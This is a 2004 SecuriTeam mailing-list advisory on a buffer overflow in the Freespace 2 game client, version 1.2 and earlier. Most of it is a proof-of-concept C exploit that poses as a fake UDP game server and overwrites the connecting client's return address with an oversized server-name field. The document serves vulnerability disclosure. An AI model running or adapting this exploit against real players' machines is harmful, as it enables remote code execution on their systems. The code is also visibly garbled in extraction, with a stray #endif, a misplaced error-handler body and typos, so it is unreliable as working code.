

[NT] Freespace 2 Client Buffer Overflow Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-03/0016.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/07/04

To: list@securiteam.com

Date: 7 Mar 2004 12:54:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Freespace 2 Client Buffer Overflow Vulnerability

SUMMARY

<<http://www.freespace2.com/>> Freespace 2 is a space combat game developed by Volition. The Freespace 2 client handles incoming UDP packets from the game server in an incorrect manner. The bug could lead to a buffer overflow condition on the system running the game.

DETAILS

Vulnerable Systems:

- * Freespace 2 version 1.2 or prior

If the server name field in the UDP reply packet exceeds 180 characters, the return address of the function which processes the information will be completely overwritten, enabling remote code execution.

Exploit:

/*

by Luigi Auriemma – <http://aluigi.altervista.org/poc/fs2cbof.zip>

Securiteam: [NT] Freespace 2 Client Buffer Overflow Vulnerability

UNIX & WIN VERSION

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
```

```
    #include <winsock.h>
    #include "winerr.h"
```

```
    #define close closesocket
```

```
#else
```

```
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
```

```
#endif
```

```
#define VER "0.1"
```

```
#define BUFFSZ 2048
```

```
#define PORT 7808
```

```
// #define PORT 7802 DEMO PORT
```

```
#define RETADDR "\xde\xcd\xad\xde"
```

```
void std_err(void);
```

```
int main(int argc, char *argv[]) {
```

```
    int sd,
```

```
        on = 1,
```

```
        psz;
```

```
    struct sockaddr_in peer;
```

```
    u_char *buff,
```

```
        pck[] =
```

```
        "\x00\xe1\xe2\xe"
```

```
        "\x00\x00\x00\x00"
```

```
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```

```
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```

```
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
```

```
    RETADDR;
```

```
    setbuf(stdout, NULL);
```

```
    fputs("\n"
```

```
        "Freespace 2 <= 1.2 client buffer overflow "VER"\n"
```

```
        "by Luigi Auriemma\n"
```

```
        "e-mail: aluigi@altervista.org\n"
```

```
        "web: http://aluigi.altervista.org\n"
```

Securiteam: [NT] Freespace 2 Client Buffer Overflow Vulnerability

```
"\n", stdout);

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

peer.sin_addr.s_addr = INADDR_ANY;
peer.sin_port = htons(PORT);
peer.sin_family = AF_INET;
psz = sizeof(peer);

printf("\nBinding UDP port %u\n", PORT);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
    < 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, psz)
    < 0) std_err();

buff = malloc(BUFFSZ);
if(!buff) std_err();

*(u_long *)(pck + 4) = strlen(pck + 8);

printf("Return address will be overwritten by 0x%08lx\n", *(u_long
*)RETADDR);

fputs("\nClients:\n", stdout);
while(1) {
    if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
        < 0) std_err();

    printf("%s:%hu --> ", inet_ntoa(peer.sin_addr),
hton(peer.sin_port));

    if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer,
psz)
        < 0) std_err();
    fputs("BOOM\n", stdout);
}

close(sd);
return(0);
}

#endif
void std_err(void) {
    perror("\nError");
}
```

Securiteam: [NT] Freespace 2 Client Buffer Overflow Vulnerability

```
    exit(1);  
  }  
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@altermvista.org> Luigi
Auriemma.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential,
loss of business profits or special damages.